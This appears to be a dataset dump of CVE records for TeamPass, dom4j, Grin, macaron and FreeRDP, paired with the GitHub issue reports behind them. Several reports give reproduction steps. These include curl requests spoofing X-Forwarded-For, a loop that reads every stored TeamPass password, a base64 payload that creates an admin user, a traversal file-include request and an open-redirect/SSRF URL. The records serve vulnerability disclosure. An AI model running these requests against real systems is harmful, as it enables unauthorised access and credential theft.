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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2761" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2761" } ]

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[ "863" ]

863

https://github.com/nilsteampassnet/TeamPass/issues/2761

[ "Exploit", "Third Party Advisory" ]

github.com

[ "nilsteampassnet", "TeamPass" ]

Teampass includes a feature to restrict the source IP address users can use to interact with Teampass. The value of the source IP address is [defined](https://github.com/nilsteampassnet/TeamPass/blob/b9cf22a78b6bb63346d7e593bc984d56316ed772/api/functions.php#L33) from the first value in the X-Forwarded-For header in the client request. Due to the fact that the client controls the X-Forwarded-For header and can set it to any value of their choosing, this header can be set to a whitelisted value which allows any client that can guess a whitelisted IP address to interact with Teampass from wherever they like. **Steps to reproduce** 1. Add 1.1.1.1 to the list of API IP Addresses allowed 2. Make an API call with an appropriate X-Forwarded-For header and notice that the call is valid `curl -v -H "X-Forwarded-For: 1.1.1.1" http://localhost/teampass/api/index.php/info/version/?apikey=xyz` **Steps to fix** - No data in headers provided by the client can be trusted, including X-Forwarded-For. - The only reliable data about a client IP address is in the Source Address field in a TCP packet ([details](https://www.freesoft.org/CIE/Course/Section4/8.htm)). ### Server configuration **Teampass version:** 2.1.27.36

IP whitelist bypass

https://api.github.com/repos/nilsteampassnet/TeamPass/issues/2761/comments

1

2020-04-02T16:10:04Z

2022-10-31T04:40:01Z

https://github.com/nilsteampassnet/TeamPass/issues/2761

592,750,440

2,761

1,189

CVE-2020-12478

2020-04-29T22:15:12.717

TeamPass 2.1.27.36 allows an unauthenticated attacker to retrieve files from the TeamPass web root. This may include backups or LDAP debug files.

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[ "306" ]

306

https://github.com/nilsteampassnet/TeamPass/issues/2764

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "nilsteampassnet", "TeamPass" ]

Many of the files included in Teampass are available without authentication to anyone who can interact with the web server. While this may not be an issue for some of the images or Javascript files, it is an issue for the user-uploaded files that are available without authentication. These include: - upload dir - all file uploads (encrypted) - avatars dir - all profile pictures - backups dir - (presumably) Teampass backups - Note that accessing the scripts here can also trigger the backups to run - files dir - PDFs generated via admin functions are saved here - many files under the “includes” directory - miscellaneous files under web root (license.md, changelog.txt, Dockerfile, etc) Additionally, it does not appear that Teampass checks to see if directory listing is turned on on the web server. This feature is frequently on by default and when left on, makes it easy to discover the hashed file names that are sometimes used. **Steps to reproduce** Use a simple curl request to retrieve one of the files I noted above. EG: `curl http://<your teampass instance>/teampass/files/ldap.debug.txt` **Steps to fix** - Review what files and directories should be exposed without authentication - Ensure that only authenticated users can attempt to access files in sensitive directories (upload, backups, files, etc) - Ensure that only authorized users can actually retrieve files in sensitive directories ### Server configuration **Teampass version:** 2.1.27.36

Some Teampass files are available without authentication

https://api.github.com/repos/nilsteampassnet/TeamPass/issues/2764/comments

2

2020-04-02T16:18:48Z

2022-10-31T04:40:03Z

https://github.com/nilsteampassnet/TeamPass/issues/2764

592,756,360

2,764

1,190

CVE-2020-12479

2020-04-29T22:15:12.827

TeamPass 2.1.27.36 allows any authenticated TeamPass user to trigger a PHP file include vulnerability via a crafted HTTP request with sources/users.queries.php newValue directory traversal.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2762" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2762" } ]

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[ "22" ]

22

https://github.com/nilsteampassnet/TeamPass/issues/2762

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "nilsteampassnet", "TeamPass" ]

Teampass allows users to choose from several different languages. The user changes their language preference by sending a POST request to Teampass (`/teampass/sources/users.queries.php`) that contains the string of the language they choose (“english”, “spanish”, etc). This string provided by the user is not validated or sanitized in any way. After the string provided by the user is stored in the DB, it is eventually used in `core.php` during login on line 78: `require_once $SETTINGS['cpassman_dir'].'/includes/language/'.$_SESSION['user_language'].'.php';` This allows any user to file_include any existing PHP file on disk. If a user could upload their own PHP file, then it could be combined with this bug to achieve code execution on the Teampass server. **Steps to reproduce** Send a POST request to change user language, but modify the value of the `newValue` parameter to a value of your choosing (eg: `../backups/script.backup`). ``` POST /teampass/sources/users.queries.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost/teampass/index.php?page=items Cookie: <cookie>; KEY_PHPSESSID=<value>; PHPSESSID=<value>; jstree_select=2 newValue=Spanish&id=userlanguage_10000004&<cookie> ``` Log out and log back in to force the TeamPass server to read the PHP file of your choosing. **Steps to fix** - Validate the value from the “newValue” parameter. The only permissible values should be a hard-coded list of strings that exist in /includes/language/ [directory](https://github.com/nilsteampassnet/TeamPass/tree/master/includes/language) EG: `$validLanguages = array('arabic', 'bulgarian', 'etc');`. - In the case of a non-valid value, Teampass should deny the language change and immediately stop processing the data in the newValue parameter. This validation could potentially occur [here](https://github.com/nilsteampassnet/TeamPass/blob/master/sources/users.queries.php#L1659), where the `userlanguage` parameter is processed. ### Server configuration **Teampass version:** 2.1.27.36

PHP arbitrary file include

https://api.github.com/repos/nilsteampassnet/TeamPass/issues/2762/comments

3

2020-04-02T16:12:17Z

2022-10-31T04:40:02Z

https://github.com/nilsteampassnet/TeamPass/issues/2762

592,751,961

2,762

1,191

CVE-2020-10683

2020-05-01T19:15:12.927

dom4j before 2.0.3 and 2.1.x before 2.1.3 allows external DTDs and External Entities by default, which might enable XXE attacks. However, there is popular external documentation from OWASP showing how to enable the safe, non-default behavior in any application that uses dom4j.

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[ "611" ]

611

https://github.com/dom4j/dom4j/issues/87

[ "Third Party Advisory" ]

github.com

[ "dom4j", "dom4j" ]

The constructor `new org.dom4j.io.SAXReader()` calls one of the factory method form Java runtime library – `org.xml.sax.helpers.XMLReaderFactory.createXMLReader()` or `javax.xml.parsers.SAXParserFactory.newInstance().newSAXParser()`. These factory methods do not have safe defaults, such as downloading external entities. Create the new factory method `org.dom4j.io.SAXReader.createDefault()` which overrides Java runtime library defaults and sets following features: ``` reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ```

SAXReader uses system XMLReaderFactory.createXMLReader() or SAXParserFactory.newInstance().newSAXParser() which has unsecure defaults

https://api.github.com/repos/dom4j/dom4j/issues/87/comments

4

2020-04-22T11:10:29Z

2020-07-30T14:44:22Z

https://github.com/dom4j/dom4j/issues/87

604,669,593

87

1,192

CVE-2020-11671

2020-05-04T14:15:13.230

Lack of authorization controls in REST API functions in TeamPass through 2.1.27.36 allows any TeamPass user with a valid API token to become a TeamPass administrator and read/modify all passwords via authenticated api/index.php REST API calls. NOTE: the API is not available by default.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2765" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/nilsteampassnet/TeamPass/issues/2765" } ]

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[ "862" ]

862

https://github.com/nilsteampassnet/TeamPass/issues/2765

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "nilsteampassnet", "TeamPass" ]

TeamPass provides several APIs that can be used for programmatic access. None of these API functions perform authorization checks which means that any client with a valid API token is effectively an administrator. Any client with a valid API token can: - Read all passwords stored by Teampass - Create users. This includes non-administrative users creating administrative users - Update any stored item - Update any user - Delete any folder or item It’s important to note that API access is disabled by default. **Steps to reproduce** 1. Turn on API access 2. As a non-admin user, generate an API key 3. Send authenticated HTTP requests Retrieve passwords: `curl http://<your Teampass instance>/teampass/api/index.php/read/items/1?apikey=<your key>` Note that the ID for each “item” starts at 1 and increments by 1 for each new item. This makes it easy to retrieve all items stored by Teampass ``` for i in {1..5}; do curl http://localhost/teampass/api/index.php/read/items/$i?apikey=xyz echo ""; done ``` Add a new admin user ``` # <LOGIN>;<NAME>;<LASTNAME>;<PASSWORD>;<EMAIL>;<ADMINISTRATEDBY>;<READ_ONLY>;<ROLE1,ROLE2,...>;<IS_ADMIN>;<ISMANAGER>;<PERSONAL_FOLDER> payload="newadmin;foo;bar;testpassword;a@a.com;Administrator;0;;1;;" b64=$(echo $payload | base64) curl http://localhost/teampass/api/index.php/add/user/$b64?apikey=xyz ``` ### Server configuration **Teampass version:** 2.1.27.36

TeamPass API has no authorization checks

https://api.github.com/repos/nilsteampassnet/TeamPass/issues/2765/comments

3

2020-04-02T16:23:40Z

2022-10-31T04:40:03Z

https://github.com/nilsteampassnet/TeamPass/issues/2765

592,759,568

2,765

1,193

CVE-2020-12439

2020-05-05T22:15:12.933

Grin before 3.1.0 allows attackers to adversely affect availability of data on a Mimblewimble blockchain.

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[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/mimblewimble/grin-security/blob/master/CVEs/CVE-2020-12439.md" }, { "source": "cve@mitre.org", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/mimblewimble/grin/issues/3235" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/mimblewimble/grin/pull/3236" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/mimblewimble/grin-security/blob/master/CVEs/CVE-2020-12439.md" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://github.com/mimblewimble/grin/issues/3235" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/mimblewimble/grin/pull/3236" } ]

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[ "404" ]

404

https://github.com/mimblewimble/grin/issues/3235

[ "Issue Tracking", "Patch", "Third Party Advisory" ]

github.com

[ "mimblewimble", "grin" ]

Recent exploration into the implementation of an index of "recently seen" kernels led us down the path of maintaining an "undo" list per block. This way we can robustly handle duplicate kernels, maintaining the pos of the most recent instance of the kernel in the index, while being able to handle rewind scenarios involving previous instances of the kernel. Related - https://github.com/mimblewimble/grin/pull/3228 We do something similar to this for the `output_pos` index currently where we track a bitmap of spent output pos per block. And during rewind we use this per-block bitmap to ensure the UTXO set is consistent with rewound chain state. Note that this allows the utxo set to be rewound reliably but leaves "false-positives" in the `output_pos` index as we do not rewind the index itself. So we have always used the `output_pos` index as non-authoritative. During rewind we can (and will expect to) encounter "false-positive" results from the index. We may find an entry in the index for a given output, but we do not yet know for sure if this index entry is accurate. So we go to the PMMR itself for authoritative view of chain state. The process is roughly - * look in output_pos for possible result * if nothing in index then output is spent * if we find a result in the index, look in the output PMMR * compare output commitment between index and PMMR * if match then output is unspent * otherwise output is spent It became apparent during the kernel index exploration that there is a better way to do this that can also be applied to the `output_pos` index. Rather than storing a bitmap of spent output positions which is by definition unsorted, we can store a vec of output positions where the sort order is consistent with the inputs to the block. This provides the ability to map positions to input commitments themselves. Rewind can now take advantage of this to ensure the output_pos index remains consistent with the rewound chain state. The `output_pos` index can be maintained transactionally alongside block processing, in both regular (apply new block) and rewound directions. This eliminates the possibility for "false positives" in the index lookup. If we find an entry in the index then we know the output is unspent. If we do not find an entry, the output is spent, or never existed. This involves a change to what we store in the db. We need to store a vec of output_pos (and associated block heights) rather than the existing serialized bitmap per block. This also involves changes to both `apply_block()` and the `rewind_block` impls to update the `output_pos` as necessary, within the txhashset extension (and therefore transactionally). Reworking the `output_pos` index to handle transactional rewind in this way gives us a clear path forward to use the same approach for the `kernel_pos` index. Rather than "spending" outputs we replace kernels with more recent instances (in the "recently seen" index). We have this working on a branch. PR coming shortly for these changes. Ideally we can get this into `3.1.0-beta` and allow it to be sufficiently tested and released as part of `3.1.0`. Tracking this here so we can tag it as scheduled for inclusion in `3.1.0`.

Rework output_pos index (better txhashset transactional support)

https://api.github.com/repos/mimblewimble/grin/issues/3235/comments

0

2020-02-20T15:50:04Z

2020-02-24T09:48:52Z

https://github.com/mimblewimble/grin/issues/3235

568,395,225

3,235

1,194

CVE-2020-12666

2020-05-05T22:15:13.027

macaron before 1.3.7 has an open redirect in the static handler, as demonstrated by the http://127.0.0.1:4000//example.com/ URL.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/go-macaron/macaron/issues/198" }, { "source": "cve@mitre.org", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/go-macaron/macaron/releases/tag/v1.3.7" }, { "source": "cve@mitre.org", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3QEUOHRC4EN4WZ66EVFML2UCV7ZQ63XZ/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/go-macaron/macaron/issues/198" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/go-macaron/macaron/releases/tag/v1.3.7" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3QEUOHRC4EN4WZ66EVFML2UCV7ZQ63XZ/" } ]

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[ "601" ]

601

https://github.com/go-macaron/macaron/issues/198

[ "Exploit", "Third Party Advisory" ]

github.com

[ "go-macaron", "macaron" ]

看了这个issue，觉得蛮有意思，试了一下发现这个问题在另一种场景里可以发生 https://github.com/go-macaron/macaron/issues/125 需要开启静态文件服务漏洞代码 ```go package main import "gopkg.in/macaron.v1" func main() { m := macaron.Classic() m.Get("/", func(ctx *macaron.Context) string { return "Hello world!" }) m.Use(macaron.Static("static")) m.Run() } ``` 只要使用了 m.Use(macaron.Static("static"))静态文件服务，可以在所有浏览器下触发任意302跳转漏洞比如访问：`http://127.0.0.1:4000//evoa.me%2f..` 即可跳到evoa.me 我也好奇地看了一下源码，大概逻辑是当访问的路由不在注册的路由中时，就会去查找访问的路径否是在注册的静态目录中分析一下，以`http://127.0.0.1:4000//evoa.me%2f..`为例 macaron.v1/static.go:121 静态资源的判断逻辑是staticHandler函数实现的，126行会获取到访问的路径，值为`//evoa.me/..`，138行会使用http.FileSystem去打开访问路径，由于我们访问的路径是..结尾，所以http.FileSystem返回是一个文件夹对象，150行fi.IsDir()会为真，进入if判断，152行，我们的路由后缀并不是'/'，继续进入if判断，153行给我们访问的路径添加一个'/'后缀，然后返回response，所以http 返回头对应的location为 `Location: //evoa.me/../` //开头的host，浏览器默认会用当前协议去重定向，即可造成任意302跳转问题至于之前issue提的chrome无法成功，具体原因就是chrome会自动把访问路径的/..给标准化（即删除），从而导致/..无法发送至后端，只要将/.. 编码为 %2f..即可逃逸chrome的标准化至于302的危害，如果是钓鱼的话确实不是很大，但是302漏洞除了钓鱼以外最主要的是可以和其他场景或漏洞结合，产生更大的危害。举个例子比如假如程序里有这么一个代码 ```go package main import ( "gopkg.in/macaron.v1" "io/ioutil" "net/http" ) func httpGet(url string) string { resp, err := http.Get(url) if err != nil { // handle error } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { // handle error } return string(body) } func main() { m := macaron.Classic() m.Get("/:username", func(ctx *macaron.Context) string { return ctx.Params(":username") }) m.Get("/get",func(ctx *macaron.Context) string { return httpGet("http://127.0.0.1:4000/"+ctx.Query("username")) }) m.Use(macaron.Static("static")) m.Run() } ``` 可能实际代码不会这么写，但是如果是RPC调用，或者后端要和其他web进行交互，这种场景就很常见了。这个代码本身并没有任何问题，但是如果存在一个302跳转，恶意攻击者可以输入 `http://127.0.0.1:4000/get?username=/192.168.10.1/..` 由于http.Get默认会进行302 即可造成SSRF（服务端请求伪造漏洞），攻击者可访问所有内网web内容 by the way, django曾经也有一个差不多的漏洞，CVE-2018-14574 可以看看这篇文章：https://xz.aliyun.com/t/3302 修复建议：对重定向的url进行判断，不允许//开头由衷的感谢您看完这么长一篇issue报告

vulnerability: open redirect in static handler

https://api.github.com/repos/go-macaron/macaron/issues/198/comments

6

2020-04-30T13:58:41Z

2020-05-03T14:03:24Z

https://github.com/go-macaron/macaron/issues/198

610,028,077

198

1,195

CVE-2020-11042

2020-05-07T19:15:11.673

In FreeRDP greater than 1.1 and before 2.0.0, there is an out-of-bounds read in update_read_icon_info. It allows reading a attacker-defined amount of client memory (32bit unsigned -> 4GB) to an intermediate buffer. This can be used to crash the client or store information for later retrieval. This has been patched in 2.0.0.

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[ "125" ]

125

https://github.com/FreeRDP/FreeRDP/issues/6010

[ "Exploit", "Third Party Advisory" ]

github.com

[ "FreeRDP", "FreeRDP" ]

version ``` https://github.com/FreeRDP/FreeRDP/blob/9ef1e81c559bb19d613b4da2d68908ea5d7f9259/libfreerdp/core/window.c#L187 ``` vuln code `update_read_icon_info` first read `iconInfo->cbColorTable`, `iconInfo->cbBitsMask` and `iconInfo->cbBitsColor` from the wStream, ``` static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo) { .................................................. .................................................. Stream_Read_UINT16(s, iconInfo->cbColorTable); /* cbColorTable (2 bytes) */ break; } // Stream_Read_UINT16(s, iconInfo->cbBitsMask); /* cbBitsMask (2 bytes) */ Stream_Read_UINT16(s, iconInfo->cbBitsColor); /* cbBitsColor (2 bytes) */ ``` And then it check cbBitsMask and cbBitsColor ``` if (Stream_GetRemainingLength(s) < iconInfo->cbBitsMask + iconInfo->cbBitsColor) return FALSE; ``` Then it could call Stream_Read to read data from s, size is `cbBitsMask+cbColorTable+cbBitsColor` ``` .................................................................................................... .................................................................................................... .................................................................................................... Stream_Read(s, iconInfo->bitsMask, iconInfo->cbBitsMask); .................................................................................................... .................................................................................................... Stream_Read(s, iconInfo->colorTable, iconInfo->cbColorTable); .................................................................................................... .................................................................................................... Stream_Read(s, iconInfo->bitsColor, iconInfo->cbBitsColor); ``` so when `cbBitsMask+cbBitsColor < Stream_GetRemainingLength(s)` and `cbBitsMask+cbColorTable+cbBitsColor > Stream_GetRemainingLength(s) `, it could lead memory out of bounds read

memory out of bounds read in update_read_icon_info

https://api.github.com/repos/FreeRDP/FreeRDP/issues/6010/comments

2

2020-03-31T06:54:51Z

2020-05-15T00:17:56Z

https://github.com/FreeRDP/FreeRDP/issues/6010

590,846,045

6,010

1,196

CVE-2020-11045

2020-05-07T19:15:11.783

In FreeRDP after 1.0 and before 2.0.0, there is an out-of-bound read in in update_read_bitmap_data that allows client memory to be read to an image buffer. The result displayed on screen as colour.

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[ "125" ]

125

https://github.com/FreeRDP/FreeRDP/issues/6005

[ "Exploit", "Third Party Advisory" ]

github.com

[ "FreeRDP", "FreeRDP" ]

vuln code ``` static BOOL update_read_bitmap_data(rdpUpdate* update, wStream* s, BITMAP_DATA* bitmapData) { WINPR_UNUSED(update); if (Stream_GetRemainingLength(s) < 18) return FALSE; Stream_Read_UINT16(s, bitmapData->destLeft); Stream_Read_UINT16(s, bitmapData->destTop); Stream_Read_UINT16(s, bitmapData->destRight); Stream_Read_UINT16(s, bitmapData->destBottom); Stream_Read_UINT16(s, bitmapData->width); Stream_Read_UINT16(s, bitmapData->height); Stream_Read_UINT16(s, bitmapData->bitsPerPixel); Stream_Read_UINT16(s, bitmapData->flags); Stream_Read_UINT16(s, bitmapData->bitmapLength); // now use 18 byte in s if (bitmapData->flags & BITMAP_COMPRESSION) { if (!(bitmapData->flags & NO_BITMAP_COMPRESSION_HDR)) { // below read data from stream without check stream's size Stream_Read_UINT16(s, bitmapData->cbCompFirstRowSize); /* cbCompFirstRowSize (2 bytes) */ Stream_Read_UINT16(s, bitmapData->cbCompMainBodySize); /* cbCompMainBodySize (2 bytes) */ Stream_Read_UINT16(s, bitmapData->cbScanWidth); /* cbScanWidth (2 bytes) */ Stream_Read_UINT16(s, bitmapData->cbUncompressedSize); /* cbUncompressedSize (2 bytes) */ bitmapData->bitmapLength = bitmapData->cbCompMainBodySize; } bitmapData->compressed = TRUE; } else bitmapData->compressed = FALSE; if (Stream_GetRemainingLength(s) < bitmapData->bitmapLength) return FALSE; ``` The function first verifies that the length of s cannot be less than 18, and then reads 18 bytes later. If `bitmapData-> flags & BITMAP_COMPRESSION` and `! (BitmapData-> flags & NO_BITMAP_COMPRESSION_HDR)` , it will continue to read data from the stream without check if the length in the stream is enough

memory out of bounds read in update_read_bitmap_data

https://api.github.com/repos/FreeRDP/FreeRDP/issues/6005/comments

4

2020-03-31T01:42:42Z

2020-05-08T06:25:52Z

https://github.com/FreeRDP/FreeRDP/issues/6005

590,719,810

6,005

1,198

CVE-2020-11046

2020-05-07T19:15:11.843

In FreeRDP after 1.0 and before 2.0.0, there is a stream out-of-bounds seek in update_read_synchronize that could lead to a later out-of-bounds read.

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[ "125" ]

125

https://github.com/FreeRDP/FreeRDP/issues/6006

[ "Third Party Advisory" ]

github.com

[ "FreeRDP", "FreeRDP" ]

version ``` https://github.com/FreeRDP/FreeRDP/blob/9ef1e81c559bb19d613b4da2d68908ea5d7f9259/libfreerdp/core/update.c#L293 ``` vuln code ``` static void update_read_synchronize(rdpUpdate* update, wStream* s) { WINPR_UNUSED(update); Stream_Seek_UINT16(s); /* pad2Octets (2 bytes) */ /** * The Synchronize Update is an artifact from the * T.128 protocol and should be ignored. */ } ``` the code just seek the stream pointer without check stream's length, it could lead `_s->pointer - _s->buffer > _s->length` Then the check in other functions could fail, and could lead out of bounds read later.

stream out of bounds seek in update_read_synchronize could lead out of bounds read later

https://api.github.com/repos/FreeRDP/FreeRDP/issues/6006/comments

1

2020-03-31T02:32:52Z

2020-05-08T06:25:21Z

https://github.com/FreeRDP/FreeRDP/issues/6006

590,739,057

6,006

1,199

CVE-2020-11047

2020-05-07T20:15:12.127

In FreeRDP after 1.1 and before 2.0.0, there is an out-of-bounds read in autodetect_recv_bandwidth_measure_results. A malicious server can extract up to 8 bytes of client memory with a manipulated message by providing a short input and reading the measurement result data. This has been patched in 2.0.0.

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[ { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/commit/f5e73cc7c9cd973b516a618da877c87b80950b65" }, { "source": "security-advisories@github.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/issues/6009" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-9fw6-m2q8-h5pw" }, { "source": "security-advisories@github.com", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00008.html" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4379-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/commit/f5e73cc7c9cd973b516a618da877c87b80950b65" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/issues/6009" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-9fw6-m2q8-h5pw" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00008.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4379-1/" } ]

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[ "125" ]

125

https://github.com/FreeRDP/FreeRDP/issues/6009

[ "Exploit", "Third Party Advisory" ]

github.com

[ "FreeRDP", "FreeRDP" ]

version ``` https://github.com/FreeRDP/FreeRDP/blob/9ef1e81c559bb19d613b4da2d68908ea5d7f9259/libfreerdp/core/autodetect.c#L459 ``` vuln code autodetect_recv_bandwidth_measure_results read 8 bytes from stream without check stream's length ``` static BOOL autodetect_recv_bandwidth_measure_results(rdpRdp* rdp, wStream* s, AUTODETECT_RSP_PDU* autodetectRspPdu) { BOOL success = TRUE; if (autodetectRspPdu->headerLength != 0x0E) return FALSE; WLog_VRB(AUTODETECT_TAG, "received Bandwidth Measure Results PDU"); Stream_Read_UINT32(s, rdp->autodetect->bandwidthMeasureTimeDelta); /* timeDelta (4 bytes) */ Stream_Read_UINT32(s, rdp->autodetect->bandwidthMeasureByteCount); /* byteCount (4 bytes) */ ```

memory out of bounds read in autodetect_recv_bandwidth_measure_results

https://api.github.com/repos/FreeRDP/FreeRDP/issues/6009/comments

0

2020-03-31T06:00:40Z

2020-04-06T11:53:33Z

https://github.com/FreeRDP/FreeRDP/issues/6009

590,820,131

6,009

1,200

CVE-2020-11048

2020-05-07T20:15:12.190

In FreeRDP after 1.0 and before 2.0.0, there is an out-of-bounds read. It only allows to abort a session. No data extraction is possible. This has been fixed in 2.0.0.

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[ "125" ]

125

https://github.com/FreeRDP/FreeRDP/issues/6007

[ "Exploit", "Third Party Advisory" ]

github.com

[ "FreeRDP", "FreeRDP" ]

version ``` https://github.com/FreeRDP/FreeRDP/blob/9ef1e81c559bb19d613b4da2d68908ea5d7f9259/libfreerdp/core/rdp.c#L1129 ``` vuln code `rdp_read_share_control_header` could read 2 byte from stream, if `*length == 0x8000` , it could call `rdp_read_flow_control_pdu`. ``` BOOL rdp_read_share_control_header(wStream* s, UINT16* length, UINT16* type, UINT16* channel_id) { if (Stream_GetRemainingLength(s) < 2) return FALSE; Stream_Read_UINT16(s, *length); /* totalLength */ if (*length == 0x8000) { rdp_read_flow_control_pdu(s, type); // vuln function ``` `rdp_read_flow_control_pdu` just read 1byte and seek some byte from stream without check length, it could `lead _s->pointer - _s->buffer > _s->length`, then the check in other function could failed ``` void rdp_read_flow_control_pdu(wStream* s, UINT16* type) { UINT8 pduType; Stream_Read_UINT8(s, pduType); /* pduTypeFlow */ *type = pduType; Stream_Seek_UINT8(s); /* pad8bits */ Stream_Seek_UINT8(s); /* flowIdentifier */ Stream_Seek_UINT8(s); /* flowNumber */ Stream_Seek_UINT16(s); /* pduSource */ } ```

memory out of bounds read in rdp_read_flow_control_pdu

https://api.github.com/repos/FreeRDP/FreeRDP/issues/6007/comments

0

2020-03-31T05:40:01Z

2020-04-06T11:53:32Z

https://github.com/FreeRDP/FreeRDP/issues/6007

590,811,411

6,007

1,201

CVE-2020-11049

2020-05-07T20:15:12.237

In FreeRDP after 1.1 and before 2.0.0, there is an out-of-bound read of client memory that is then passed on to the protocol parser. This has been patched in 2.0.0.

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[ { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/commit/c367f65d42e0d2e1ca248998175180aa9c2eacd0" }, { "source": "security-advisories@github.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/issues/6008" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/pull/6019" }, { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wwh7-r2r8-xjpr" }, { "source": "security-advisories@github.com", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00008.html" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4379-1/" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4382-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/commit/c367f65d42e0d2e1ca248998175180aa9c2eacd0" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/issues/6008" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/FreeRDP/FreeRDP/pull/6019" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": 